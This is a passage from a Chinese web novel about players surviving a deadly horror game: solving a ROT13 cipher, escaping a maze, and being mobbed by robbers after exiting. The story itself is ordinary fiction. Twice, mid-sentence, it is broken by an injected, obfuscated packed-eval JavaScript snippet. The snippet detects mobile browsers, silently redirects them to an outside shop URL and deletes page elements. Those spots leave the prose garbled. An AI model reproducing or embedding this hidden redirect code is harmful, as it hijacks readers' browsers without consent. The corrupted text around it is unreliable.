“事实上你根本没有蒙骗过那三个人,所以只能在最后来找我的麻烦。”奈亚拉托提普拥有即使在黑暗里也能清楚视物的双眼,所以少女揶揄的目光被他一览无余地尽收眼底:“现在他们应该已经按照计划集合了,只要我找到第四段密文这个游戏就能结束。你的哄骗技术失败,所以没办法对他们造成伤害;而我又吸引了怨灵们的攻击,所以你不得已只能来解决我,再让怨灵们去攻击他们。” 奈亚拉托提普恼怒地大吼,少女那胜卷在握的轻视目光彻底击溃了祂的防线,事实上这样令人恼火的目光在短短几分钟内祂已经领略不止一次了。 “您提出的条件实在太让人无法拒绝了。”浦帆把手搭在门框上,奈亚拉托提普在他身后露出一个不过如此的微笑。 “可是这也太假了。”浦帆摇了摇头,伸手把那扇门合上了:“1号虽然年轻,但是跟我这种知根知底的老员工比起来既不可控有没有经验,秦总那么多疑又冷血的人不会舍弃我去选择那个小崽子的。” 奈亚拉托提普的笑容僵在了脸上。 “而且,”浦帆又退回去仔仔细细看了一会屏幕:“秦总素质这么低,有人敢问这么多问题肯定挨揍了,怎么会说这么多废话。” 男人最后皱着眉总结道:“我现在进这扇门一方面要冒着受骗的风险,另一方面即使真的回去也不一定会在公司受到多大的重用;但我现在跟秦总是过命的交情,只要跟着她拼出去她心情好给我点股份也是说不准的事。综合考虑起来听你的没什么性价比,我忙着完成秦总的任务,你还去骗别人吧。” 说完他敷衍地抬手告了别,无视奈神在身后气急败坏的咆哮大吼,一步一步走进了黑暗的迷宫中。 还有楚胧,小姑娘没有浦帆这种老油子那么多的阅历,是真的被奈亚拉托提普吓到了。 小姑娘一边啜泣一边往回走:“你……你怎么还能挑拨离间呢,问酒姐那么优秀,认识的人多也没什么大不了。再说她救我就只是因为她人好……算了我说了你这种低级npc也听不懂……你还好意思提我的朋友,他们就是被这个游戏杀死的,你和那些吃人的怪物都是一伙的!你……你别想装好人!” 楚胧这口气喘得极长,奈亚拉托提普甚至都没来得及插上一句话,就眼睁睁看着小姑娘一边哭着骂人一边走出了祂幻境的结界。 当然最让人恼火的就是沈不语那个臭小子,为了怕他识破自己的计谋奈亚拉托提普连幻术都没敢用,直接化了真身去见他。 没想到自己说了那么多这小子一句话都没听进去,一见到浦帆就立刻表达了自己作为BLACKDOOR忠实粉丝对公司发言人的尊重,还洋洋自得地表示虽然目前没看出楚胧有什么过人之处,但是既然能同样想他俩一样被秦问酒选上肯定也是异于常人,脸皮厚的让奈亚拉托提普也忍不住咂舌。 现在那三双不屑的眼睛在奈亚拉托提普的脑海里不停地旋转扭曲,发出阴冷的嘲笑,最后与眼前这双永远镇静克制的双眼重叠在了一起。 它疯狂的摇晃着脑袋,想不懂,永远也想不懂为何这帮渺小自私的人类会如此紧密的信任着彼此,仅仅因为几分钟的见面与谈话就愿意放弃唾手可得的利益相互帮扶。 于是它狰狞地咆哮道:“就算他们团结又有什么用?你们永远都别想在迷宫里找到第四段密文!现在乖乖跪在我脚下祈求神的宽恕我还会施予你们些许仁慈!” 它再也无法抑制自己的怨气,黑色的源源不断的黑气自它身上冒出来,七窍都变成了嚎叫不止的黑色巨洞,怪物终于蜕下游戏之神的外壳露出了狰狞的真貌。 黑墙感受到了怪物的怒火,如同气球般膨胀起了自己的身体,将秦问酒整个都掩埋,尽管这样女孩的声音仍然无孔不入地飘散出来:“对啊在迷宫里找不到,所以我亲自来你身上找了。” 暴怒中的怪物还没反应过来这句话的意思,就感觉秦问酒在黑墙里艰难的挪动了一下步子,一股微弱的光顺着墙壁的缝隙直射进了他的眼睛。 “可视时间开始。”就像审判的号角一样,迷宫上方传来了空旷的电子音。 大片的灯光铺洒在了迷宫里,各个路口中迷失的怨魂都看见了迷宫的角落里这滔天的黑气,就像蝗虫群看见新鲜的事物一样疯狂奔涌了过去。 那怪物的气息在它们眼里便是关押它们的奈神的气息,它们拥挤着相互踩踏着,聚成一股股黑色的巨浪向着仇人的方向涌去。 已经聚在迷宫广场的三人也被这诡异的美感震惊住了,沈不语急得来回按三人的对讲机:“啊啊啊啊这家伙怎么还没回话,再不回这咱们几个就完蛋了。” “问酒姐还在里面!她一个人对付不了那么多怪物!”楚胧急得眼眶都红了。 只有浦帆还比较镇定:“还没到最后,秦姐有自己的节奏……哎你跑什么?” 他拉了一把楚胧,可这看着瘦瘦弱弱的小姑娘居然一下子就挣脱了他的手跑进迷宫了。 沈不语一看立刻跟上:“我也去!” 浦帆这次总算拉住了一个,他跟这小子说话就没那么和颜悦色了:“你去凑什么热闹?留在这里帮着解密!” “奥。”沈不语蔫蔫地答应了。 蜂拥而至的怨鬼们从把怪物死死包围了起来,它们复仇的心超过了对新鲜□□的渴望。 怨鬼们张开嘴露出利齿死死咬住怪物的衣袍,那身瑰丽的金色袍子顷刻间就被撕咬殆尽,露出了它瘦削的身材。 怪物挣扎着,咆哮着,抬起手唤起黑墙的保护。可怨鬼的数量太多了,它们不惧腐蚀前仆后继地涌上来吸食黑墙上的液体,原本高耸的墙体以肉眼可见的速度萎缩、斑驳、土崩瓦解。 秦问酒伸手抚了抚身上残存的黑液。 怨鬼们急着跟怪物算账,自己只是略受皮外伤。她悠闲地看着体面尽失的怪物在地面上翻滚,后背上镌刻着一串金色的文字。 秦问酒拿出从刚才就被攥在手里的对讲机。那是本就属于沈不语的对讲机,只是被怪物骗了去。 怪物在赌他们的软弱,秦问酒也在赌它的贪婪,她赌它即使知道自己的把戏被发现也不愿抛弃这个道具,而是会放在身边准备再用来欺诈其他不知情的玩家。 就在它用高墙缩小空间的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416458|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦问酒果然在它的腰间摸到了这件东西。 她举起对讲机念道:“ARIRE。” “ARIRE!”对讲机的另一边沈不语大吼道。他迅速在地上写下四段密文,嘴里念念有词:“BFCER、CEPU、RNGF、ARIRE……” 他烦躁地薅了薅头发:“啊啊啊啊啊完全看不出是什么意思!如果要暴力破解一共有11115232128000种可能性!” “给我看看!”浦帆一把挥开小孩儿,仔仔细细看了好几遍,却依然无法给出合适的排列方法。 “冷静冷静冷静。”他深呼一口气,不再去看已经倒数到两位数的秒数和在一旁蹦着催促的沈不语,专心研读起来。 浦帆是很标准的做题家,并一直以此为傲。 他觉得世界上有很多种天赋,有人会搞艺术,有人会修机器,还有人会跟外星人交流,每一种天赋都宝贵而平等,就看主人怎么使用它们。 浦帆的天赋就是做题。 这世界上有太多题了,今天是考纸上印刷的数学题,明天是该选择什么专业,就连晚上吃什么饭也是一道问题。这道题是什么意思?出题者的目的是什么?它想要考察我什么?它对我会有什么影响?解答题目不仅是解答题面上的文字,还是抽丝剥茧出出题者的内心。 剥离开题目的迷障,用最直接的方式走进出题人的内心,然后打败他,这就是浦帆解题的全部过程。 每一个问题都有最优解,那么这个问题的最优解是什么?浦帆的大脑飞速运转,感觉自己全身的毛孔都因为至极的恐惧与兴奋轻轻翁动。 奈亚拉托提普是热衷于玩弄人心的神明,那么祂就一定会在这上面做文章。事实上他们能走到现在这一步全是因为秦问酒以强大的统治力把大家团结在了一起,团结?游戏最开始是不是也说了…… 他猛地抬头看向了屏幕上的数字,但是不是那个已经只剩三十秒的倒计时,而是那个从游戏最开始就一直没有发挥任何作用而被大家忽视的数字。 7/13,这个分子表示得很明确了,是游戏里目前还存活的人数,那么13呢?全程参加这个游戏的只有12名玩家,这个13究竟代表了什么? “啊啊啊啊啊啊,难道小爷今天就要就此落败于这个游戏手下吗!这跟游戏开始前就死的那个倒霉蛋有什么区别?还不如直接就死了!”一旁已经开始在地上翻滚着发疯的沈不语大吼道。 “你说什么?什么游戏还没开始就死的倒霉蛋?别废话直接告诉我答案。”浦帆从地上薅起沈不语大吼。 沈不语吓傻了,直接说道:“就是……咱们最开始随机降落在迷宫里被怨鬼们追逐的时候,我们组有一个家伙摔断了腿就直接被……” 所以一共有十三个人参加了这场游戏!游戏开场的时候规则说每一个玩家对游戏都至关重要,那么这个还没开场就出局的玩家贡献了什么呢? 当然是……浦帆看着那个数字突然感觉胸腔升起一股舒畅的痒意,让他忍不住想要开怀大笑……当然是,贡献了正确答案的一部分啊! 沈不语看着忽茫然忽大笑的浦帆,觉得他一定是穷途末路于是发了疯。他爬过去摸住浦帆的手说道:“浦大哥你别怕,其实最后我能……” “是ROT13!”浦帆突然吼道:“答案是ROT13!所有字母循环后退13位就是正确答案!” “嗷嗷!”沈不语也顾不上什么救世主风范了,连滚带爬倒在键盘前。翻译那串字母对他而言易如反掌,他用颤抖的手指输入了那串翻译后变得清晰明了的字母: “CHEATSNEVERPROSPER” 一个古早的游戏结束音响起,追着众人跑了几十分钟的倒计时就此终结在00:03:45的位置上,一个字体简洁的CONGRATULATIONS弹了出来,屏幕后缓缓升起一扇打开的银色大门。 沈不语力竭瘫倒在地上,看着那个英文字母一个劲儿的傻乐。他伸出手摸了摸不远处同样仿佛醉氧过度的浦帆的脑袋,两个男人对着开始傻笑。 “我们去叫她们两个,离开这个见鬼的游戏吧。”浦帆最先恢复了正常状态,他抬起身拍了拍那件已经脏到无法挽救的衬衣,对沈不语说道。 小孩儿点了点头,两个男人向着已经被光芒笼罩的迷宫走去。 沈不语无意间回头看了一眼,脸上突然染上了慌张。他急急忙忙去拽浦帆的衣袖:“浦大哥……” 浦帆闻言回头,只见屏幕上方才还是7/13的数字缓缓变成了6/13。 8. 我也是对你有用的人 柔和的白色光晕以广场为中心扩散至整个迷宫,光芒照射之处怨鬼们的身体慢慢变得洁白透明,它们的口中不再发出痛苦的哀嚎,而是露出愉悦的表情缓缓升上天空。 怪物身上的黑气弥散殆尽,所有的法术在圣洁的光芒下都无所遁形。 法术褪去后暴露在秦问酒眼前的是一具伤痕累累的怨鬼身体,在整个游戏里就是它假扮成奈亚拉托提普把玩家们玩弄得方寸大乱。 这怨鬼的身体变得越来越小,最后也跟着升上空中混在其他灵魂里看不出差别了。 秦问酒苦笑一声,顾不得此刻地上有多狼狈,整个人直接瘫在地上,毫无形象地舒展着四肢。 从她的视角整个迷宫的上空都一览无余。一个个洁白的灵魂在高空中聚集在一起,组成了一个老人的面庞。 那老人对着地面上米粒大小的小人狡黠一笑,一道白光闪过连同灵魂们一起消失的干干净净,整个空间祥和得仿佛什么都没发生过一样。 真正的奈神还是在游戏的最后现身了。 祂出给玩家们的题目既不是迷宫也不是怨鬼,而是玩家们本身。用险恶的用心揣度神与同伴的人陷入了自己制造的地狱中,而用真诚之心尊重游戏与队友的玩家却在游戏的最后获得了游戏神的祝福。 秦问酒一脸唏嘘地从地上爬起来,整理了整理自己破的不成样子的衣服。 这一身的伤自然已经体面全无了,不过不影响她一会昂首挺胸以胜利者的气势会见等待她的三位。 她正一瘸一拐地按照记忆中的路线向着出口的方向走去,一阵杂乱的脚步闯入了她的耳朵。 负伤的秦问酒反应力比正常状态下低了不少,她不由得暗叫不妙。但是这阵清风带来的是少女柔软的体香,于是她放松了下来,伸手接住了女孩柔软的躯体。 “怎么这么着急就来接我?”秦问酒笑着对楚胧说道。 楚胧没有回应她,失去力量的身体从秦问酒的臂弯里软软地滑落了下去。 秦问酒听到小小的一声闷响,就像是尖锐的金属从身体里拔出的声音——她没有意识到这其实是自己脑海里幻想出的声音,她全身心的注意力都凝聚在自己的眼睛上,她的眼睛看着一把砍刀顺着女孩跌落的动作滑出她的身体。 楚胧无声地倒在了地上,露出她身后面部已经被啃没了大半但仍能看出在狞笑的10号,他的手里拿着一把足有两尺长的西瓜刀——那就是他最开始确信会让所有玩家乖乖听他的底气。 “哈哈哈哈哈哈!你们居然敢暗害我!今天你们谁也别想好活!” 10号一边大叫着一边挥着那把西瓜刀又一次冲了上来。 秦问酒的目光一动不动地摊在地面上,看着一滩细细的血迹以楚胧的身体为起点,慢慢地顺着地面蔓延过来,最后被男人的人造革皮鞋一脚踩断。 西瓜刀锋利的利刃在秦问酒的脸上划过一道反光,10号见状不由得一阵大仇得报的快意,似乎已经可以预见这个狡诈多端的女人那颗该死的脑袋被劈成两半的景象,于是他加大了手臂劈砍的力度。 可那力度只用了一半就再也挥不下去了,因为一只手以一个刁钻的速度握住了10号的手腕。 10号感觉自己的手腕在咯吱作响,仿佛有一个液压机在碾压他的骨头。他挣扎、惊恐地大叫,想要把手抽出来,可是液压机还是在碾压他的骨头。 终于,一声可怕的脆响从10号的手腕传来,那是手骨被生生折断的响声。他只感觉眼前白光一闪,剧烈的疼痛让他再也拿不住手上的凶器。 秦问酒顺势接住了那把西瓜刀。她不顾10号杀猪般的挣扎把他扔到地上,拎着刀一步一步走到他面前。 10号终于意识到眼前的女人是真的要杀死他了,他顾不上身上被怨鬼啃出的伤口崩开流血,哭喊着爬起来拽住秦问酒的裤脚:“你不能杀我……我们是一个游戏出来的!我是一时激动了,不是故意要那小姑娘……” “奥,那我也不是故意要杀了你。”秦问酒平静的声线在他头顶响起。 “啊——” 浦帆和沈不语跑过来的时候便听到了这声惨叫。两个男人心急火燎地绕过转角,秦问酒正脱下外衣摁住楚胧腰上的伤口,在她身边躺着一个浑身是血惨不忍睹的男人,一把染血的钢刀被扔在地上。 “怎么会……”沈不语颤抖了,他跑到楚胧身边跪下,小心翼翼地注视着面色苍白的女孩。 他还记得初入游戏的时候,其他人面对自己的发言要么怀疑要么嘲讽,只有这个女孩儿躲在秦问酒身后,露出半个脑袋冲自己露出一个腼腆的微笑,莹白的屏幕在少女笑弯弯的眼睛里折射出粼粼的光。 现在她依然缩在她付出生命去保护的人身边,只是气息微弱的闭着双眼,不会再冲他露出倾慕的笑容了。 浦帆跑到10号身边摸了一下他的心跳,发现已经没有任何反应了。他特意看了一眼10号身上的伤口,没有用刀砍出的痕迹,这让他不由得松了一口气。 “楚胧还有救。”他走到三人身边:“游戏人数现在还是六人,我们振作起来肯定能找到救她的办法。” 秦问酒用自己的衣服裹住楚胧的伤口,小心翼翼地打了个结:“我们现在需要医生。沈不语,这个地方有没有可以治疗伤口的地方?” 沈不语闻言如梦初醒般抬头,他激动地站起来,忍不住用手在裤子上搓了好几下。 “我知道了!带她出门……只要她进入第一环道就还有救!” 事态紧急,秦问酒来不及问他口中的“第一环道“到底是何物。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416459|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以肯定的是短时间内他们肯定回不到现实世界了,既然如此救楚胧就是目前最重要的事。 这样想着,她抱起楚胧拔腿就跑。 “喂!你做什么?小心她的伤口!”浦帆在秦问酒身后大喊道。 “先顾不了那么多了,现在先让她离开这里。”沈不语说。 浦帆一瞪眼睛:“离开了就能有医生?” “没有。”沈不语摇摇头:“但是我老大可以救她。” 浦帆的眼睛瞪得更大了:“你还有老大?” 沈不语洋洋得意,迈开腿追了上去:“不然呢,你以为谁都跟你一样是没人要的野人?” 浦帆不敢再瞪眼睛了,不然他的眼球绝对会因为用力过猛蹦出眼眶:“谁说我是没人要的野人!” 秦问酒一口气直接跑到了广场上。尚勋和那个2号正准备进入门内,看到两个无比狼狈的女孩立刻露出一个嘲讽的笑容。 “你带着她离开这里也没用,门无法修复玩家受到的伤害,你们只不过是换一个地方看着她一点点流干血死掉罢了。”尚勋摆出一副看好戏的架势,还假惺惺地把路让开了。 秦问酒此刻的表情只能用阴沉来形容了。 “好狗不挡道!”她哑着嗓子说。 尚勋懒得跟这条败狗一般见识,笑吟吟地伸手做了一个“请”的手势。 秦问酒半只脚踏入门内,突然顿住开口道:“现在的状况都是你搞的鬼吧,如果不是你我想不到10号为什么会突然出现在那里。” “如果你那个小帮手当时答应跟我们合作这一切就都不会发生。”尚勋回答得不动声色。 沈不语刚好赶过来,听见这话立刻就急了,拎着尚勋的衣领就要跟他理论:“你别挑拨离间!” 尚勋冷冷一笑:“我只是说实话罢了,如果不心虚你急什么。” “不语。”秦问酒开口道:“不要跟他们废话,现在我们耽误的都是楚胧的时间。” “奥奥。”沈不语这才如梦初醒,他瞪了尚勋一眼,转头跟秦问酒说:“我先出去帮你们挡挡火力。” 没等秦问酒问什么叫“挡挡火力”,沈不语就急急踏出了门。 “你现在还对他有用。”秦问酒半只脚跟着踏出了门,又把头探回来看了看一直在一旁看热闹的2号:“等你对他来说是累赘了,你的下场未必会比其他被你们害死的人更好。” 2号美艳的眼睛一瞪,可秦问酒没给她反击的机会,大步一跨就消失在了门里。 “走吧。”尚勋没为秦问酒刚才的话解释:“不要听那个小丫头挑拨离间,新游戏马上要开始了我们不要在这里滞留太久。” 2号气鼓鼓地看了尚勋一眼,一甩纤腰走入门内。尚勋头痛地看着她的背影,连忙也追了上去。 9. 第一环道 第一环道上,一扇新的银色大门缓缓浮现在黑铁铸成的高墙上。 近百米宽的黑色大道上本来散散落落站着不少人,大都带着一股筋疲力尽的冷淡,但这一切都在看清银门上的号码立刻变成了狂热。 顷刻间,门前就围了不少人。 “这……这是六号门?”有人不可置信地说。 “是真的!是高阶门!”一个玩家雀跃道。 在场的玩家闻言眼前一亮,他们都是至少经历过一次门的老玩家,当然能意识到这意味着什么。 越高阶的门难度越大,死掉的人就越多,相应地活下来的玩家获得的货币也就越多,如果能把货币抢夺过来,无疑是一笔不菲的收获。 虽然通过高阶门的玩家大多身怀绝技,但是第一次出门大多数人没有防备,再加上争抢的人人多势众,运气好就说不定能混水摸鱼抢到一点货币,危险程度远低于在游戏里跟各种怪物拼杀。 怀着这样侥幸心理的玩家越来越多,很快就把这扇银门围的水泄不通。 饶是沈不语出门前已经做好了心理准备,在看清门外十数双虎视眈眈的眼睛时还是被吓了一跳。 小孩儿一下子就想转身躲回游戏里去了,又想到命在旦夕的楚胧,只好强迫自己把脚迈了出去。 “那啥,都让让啊。”沈不语伸手拨了拨围得水泄不通的人群。 他长得人高马大,再加上看起来精力充沛毫发无伤,其他人一时间也不敢轻举妄动,不情不愿地给他让出一条路来。 沈不语正暗自窃喜小爷就是这么有压迫感,再嚣张的流匪遇到小爷也得乖乖让路,就听到旁边的人群一阵骚动。 他闻声回过头,秦问酒正抱着楚胧从门里踏出来,然后是尚勋几人。 尚勋和2号从腰间掏出一块赤色的圆形物体在众人面前晃了一下,玩家们立刻乖乖让出一条路让两人离开。 打劫也是要挑的,就算绿林好汉来齐了也不敢打玉皇大帝的人不是? 尚勋幸灾乐祸地俯在秦问酒耳边说:“祝你们好好享受环道城民的热情。” 说完便和2号扬长而去。 局势一下子变得微妙了,门前站着的是抱着伤员行动不便的秦问酒,还有靠在门上因为急着追上三人跑得气喘吁吁一看就身不强力也不壮的浦帆,即使是沈不语的超绝钝感力也感觉到气氛发生了实质性的变化。 不知道有谁高喊了一句:“那个女孩快死了!” 沈不语正要回头大骂,然而最还没张开嘴就感觉一记重击踹在了自己腰上,措手不及的沈小爷一个屁股向后平沙落雁式就摔在了原地。 他这一摔就再也没能找机会起来,从他的视角只能看到一群脚争先恐后的从自己身边相互倾轧着碾了过去。 有几个玩家很鸡贼地想捞起沈不语的手腕,被男生一个甩手一起掀到一边去了。 沈不语心有余悸地护住了自己左手,那只手腕上自从出门之后就凭空出现了一只黑色的手表形态的计数器。 这就是第一环道计算玩家积分的工具,交换积分的方式也很简单粗暴,在手环上输入想要交换的积分数值,两只手环对在一起就可以完成交换;如果有一只手环没有输入数值,那么系统就会默认另一只有数值的为积分接收方。 沈不语觉得这玩意儿就是用来坑第一次出门的玩家用的,有点类似于大学老师天天看学生水课不顺眼但是又不想影响自己的考试及格率于是勉强给卷面一个及格分,等学生们以为自己成功渡过考试周美美过完假期一看成绩单才发现平时分全是零分。 这么一想他就更悲愤了,挥着拳头驱赶那些试图觊觎他积分的玩家:“给我滚远点。” 本来还心存侥幸的争夺者们闻言目标更加明确了,一股脑儿全涌去秦问酒的方向了。 被冷落的沈不语愣了一下,突然想到自己本来的作用是帮秦问酒分散火力,怎么现在全把敌人赶到秦问酒那里去了!小孩儿一下子局促了,赶紧一个鹞子翻身爬起来跑去支援友军。 秦问酒在最开始就意识到情况不妙,因此有人扑过来时她早有防备地飞起一脚把那人踹出几米远。 这凶狠的一脚并没有阻碍其他劫掠者的脚步,他们还是像潮水一样一拥而上。 秦问酒也不迟疑,仅可以活动的两只脚一脚踹得比一脚凶猛。 仁慈是不能感动这帮穷途末路的疯子了,现在只能趁自己体力耗尽之前尽可能输出更多的暴力希冀能以此震慑住这些暴徒。 人潮居然也真的在秦问酒的暴力输出下被砸出了一个小缺口,但是这仅能留给她一个狭小的喘息空间,还不足以让她带着楚胧突出重围。 浦帆早就不知道被挤到哪里去了,不过秦问酒已经分不出精力去关心一个四肢健全精明得脑门发亮的成年人了,因为所有人的注意力都聚集在她——或者说她怀里昏迷不醒的楚胧身上。 秦问酒把楚胧那只带着手环的手小心地夹在两人的身体中间。 一开始她是想把手环从女孩的手腕上脱下来,毕竟此情此景之下性命更加要紧。 没想到这东西设计得如此严丝合缝,仓促间根本无法挣脱下来;秦问酒逐渐被激怒了,她索性以一种捍卫的姿态把楚胧带着手环的手护住,既然无法脱离,那她就要带着楚胧和本就属于她的东西一起离开! 劫掠者像蝗虫一样一轮一轮涌上来,秦问酒本就在方才的游戏里消耗了不少体力,此刻又腹背受敌,反击的力度肉眼可见的慢了下来,混乱中她感觉有人的手环不断对上自己的手环,自己手环最上端的银色存储条正在一点点减少。 她暗自咬牙,看了一眼已经被挤在外围,此刻正拼命撕打外圈玩家的沈不语,转身把楚胧放在了地上。 “喂!”她举起一只手把自己手环上还剩大半的存储条展示给所有的玩家,“你们看到了吗,我的货币还有很多!现在谁敢过来我就把我的货币分给谁!” 这话听起来便有诈,但是极度激动的人群已经没有能力去思考了。 已经抢到过货币的人希冀更多的货币,没有抢到则更加眼红,三十几人呼啦啦便争前恐后地挤了过去,少女清瘦的身影一下子就被淹没了。 “她是疯了吗……”已经被揍得鼻青脸肿的沈不语喃喃道,他手里一个被揍得更加惨烈的玩家趁机偷袭了一拳,紧接着挣脱了男孩的铁掌急急忙忙加入进争抢秦问酒货币的大队伍里去了。 “滴滴”的声音不断从疯狂的人群里传来,那是秦问酒的货币被劫掠者们瓜分的声音。 每一声响起沈不语的身体就颤抖一下, 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尽管如此她还是扶着门框挑衅地看着剩下的玩家。这场不公正的混战把女孩埋藏在骨头里多年的凶恶全激出来了,她隐隐约约意识到自己今天大概是不能离开这条该死的环道了,既然如此这些混蛋也别想全须全尾地离开。 剩余的劫掠者们面面相觑,一时间不知道女孩是否还有其他的招数,本来就是即兴聚集起来的抢夺竟然有要散场的架势。 一个男人看了一眼这些不争气的同伙,怒吼道:“怕什么,这家伙已经没有后手了!把她弄服了她那几个同伙成不了气候!到时候这扇门的货币就全是我们的” 听见男人的怂恿,本来已经准备离开的歹徒们又重新聚了过来。 环道内还有一些无意争夺货币但也无意出手相助,只是站在一边兴致缺缺地观看这每一天都会发生的暴力剧的玩家。 本来他们还对这个刚出门的新人的反击方式颇有些感兴趣,忍不住想看完最后的结局,可他们的注意力却在这个最剑拔弩张的时刻被无法遏制地吸引走了。 因为在不远处的铁墙上,另一扇更加高阶的银门出现了。 相比于秦问酒几人出门时的万众瞩目,这扇门实在出现的有点低调了,银色拉丝的白银门面在两堵高墙夹劫下仅剩的一缕夕阳的照射下泛起丝绸的柔光,维多利亚时期硕大的玫瑰浮雕上掩映着八枚闪闪发光的银币,无声地彰显着这扇门的胜出者出众的实力。 银门八缓缓打开,好奇的玩家都把脑袋向前伸试图看清出门的到底是何方神圣。 高阶门在第一环道是很罕见的,大多数玩家离开环道的方式都是通过反复刷低阶门来凑够货币。 没想到今天一天之内就出现了两扇高阶门,而且第一扇门的玩家就可以以一敌众在劫掠者的手下撑这么久,这让其他人不由得拉高了对银门八的胜出者的期待。 打开的银门八内部完全是一片黑暗,就在这黑暗里却慢慢以中心为扩散点闪现出红色的光环,还带出来丝丝热气,就像是熔化的地核一样。 有胆子大的忍不住凑近了去看,那红色扩散的速度越来越快,最后以一个爆炸一样的速度冲出门外,整个银门八像是火山口一样开始喷射岩浆! 10. 宋且慢 围观的玩家们惊叫着四散开了,迸溅的岩浆也波及到了秦问酒等人所在的银门6,本来围攻女孩的十几人也忍不住把注意力转移到这扇来者不善的门上。 岩浆发泄完最开始的爆发力后火力就逐渐减弱,最后变成了一股缓缓流淌的炽热岩流。这液体以门为核心蔓延成一个岩流的池子,以最极致的高温朴素地阻碍觊觎者的侵犯。 “咕唧。”本来规律流淌的岩浆突然发出了一声挤压的声响,一个两米见高的黑色箱子顺着岩流被缓缓冲刷出来。 在场者无不惊讶地睁大了眼睛,因为眼前的这一切实在太违背物理常识了。 即使是高强度合金钢面对喷发的岩浆也只有乖乖面对被汽化成蒸汽的命运,但这个箱子居然一点被高温腐蚀的痕迹都没有,甚至通过它外壳上冒出的雾气可以判断出这家伙还在制造冷气对抗高温! 可以想象如果这个箱子的材质在现实世界里被公布出来,世界最顶级的保险柜公司会疯狂叫价试图垄断这种材料,世界末日信奉者也会豪掷万金请求把这东西沿着自己的房子镶上一圈。 黑箱在众人惊讶的目光下一点点向着环道中间移动,直到岩浆稀薄的浮力不足以再支撑它的重量。箱底发出与石头沉重的撞击声,最后结结实实地砸在第一环路的正中央。 与此同时以黑箱为中心的岩浆开始快速凝结,热量以一个惊人的速度向周围释放,在这个夕阳将尽颇有些寒冷的街道上,所有的玩家居然都有了一种置身在桑拿房里的错觉。 躲在角落里的浦帆趁着其他人不注意悄悄背着楚胧挪远了一点。 这位算得上见多识广的发言人也对这样怪异的景象感到惊诧不已,他凭借自己衣服上汗液迅速流出又挥发形成的盐壳和微微刺痛的皮肤判断出现在空间里的温度至少已经达到45度,而作为发热源的箱子即使使用隔热程度再好的材料箱内的温度至少也已经达到二百度,足以融化人类的肌肉和内脏。 也就是说箱子里百分百装着的不是活人了,浦帆一边想一边把昏迷的楚胧往自己背上提了提。 他准备在箱子打开后众人被箱子里的“肉水”恶心得无暇顾及几人时就赶紧跑路,现在马上就要天黑了视野不清,再加上还有秦问酒在他们手里,那帮人不会费力气去追自己的。 浦帆一这么想就心虚得不敢看被团团围住的女孩。 “秦总啊我可是尽力了,您也是知道我体力有多差根本帮不了您……不过您放心楚胧我一定保护好,一直照顾她直到没办法再照顾为止,您可千万不要来梦里找我啊……”浦帆心里念经似的一个劲儿地念叨。 沈不语也激动地屏住了呼吸。那两个人约好了完成游戏后和自己在环道上汇合,如果他们在外面的话肯定不会放任自己被这帮小啰啰欺负……这么一来只能说明他们还没能离开游戏,那么这扇高阶门里最后胜出的玩家说不定就是…… 在场的人各有各的小算盘,万众瞩目下黑箱子里传来一声沉闷的锁芯转动声,箱门缓缓打开了。 一双白皙修长的手搭在了箱子的边缘,从突出的骨节和箱子颤动的程度可以看出此人正非常努力地想从箱子里爬出来。浦帆咽了咽口水,极力控制自己发软的小腿肌肉准备开溜;沈不语握成拳的手遏制不住地颤抖,一股血气直冲年轻人的喉咙里冒;秦问酒也在看着这个面目不明的人努力挣脱箱子,不过她的目光淡漠很多,在她眼里没人能帮自己,这倒霉蛋唯一的作用就是暂时帮自己吸引一点火力。 沈观棋经过一番艰苦的挣扎终于从箱子里爬了出来,他站在箱子边沿居高临下地俯视在场的所有人,然后一眼就锁定了人群外鼻青脸肿看起来就混的不咋地的沈不语。 “不语你的脸……”沈观棋俊秀的面孔轻轻抽搐了。 “哥!”沈不语终于见到亲人了,一米八几的男人吼起来都带着哭腔:“他们欺负我,你帮我收拾他们!” 沈不语伸手一指那帮劫掠者。 劫掠者们本来就对成功挑战银门八的玩家心怀忌惮,见状纷纷看向最开始怂恿他们的男人。一个劫掠者凑到男人身边讨好道:“老大他们听起来是一伙的,您看现在……” 男人不悦地眯起眼睛上下打量了一下看起来斯文清俊的沈观棋,鼻子里发出一声冷哼。他转身向着箱子的方向走去,劫掠者们纷纷让出一条路来,十几双眼睛看着男人走到箱子旁边。 沈观棋也低头看着这个导致自家弟弟受伤的罪魁祸首,金丝眼镜后面的眼睛冷厉地眯了起来。 男人不屑地笑了一下,在他看来这不过是个秀气毫无威胁的臭小子,全凭运气通过了高阶门,没什么真本事。看他那个缩在箱子上不敢下来的可怜样子,对自己的威胁甚至都不如今天早餐时那只偷啃自己面包边的老鼠。 一边这样想着,他一边一脚不留余力地踹在了箱体上。 箱子没有如他预料那样倒下,甚至连一丝被惊扰的晃动都没有。 与此同时一股威严的气息从头顶铺天盖地地压盖下来,男人长时间刀口舔血的经验告诉他那是一种从最底层厮杀上来的碾压一切的凶狠。 他试图挺起胸膛在一群小弟面前展示自己的威信,可事实上即使抬起脖子这个动作就已经花费了他全部的力气。 男人战战兢兢地抬起头,眼前的景象让他心底里早已疯狂泛滥的恐惧再也无法抑制了。 那是一只压在箱子沿上的手。 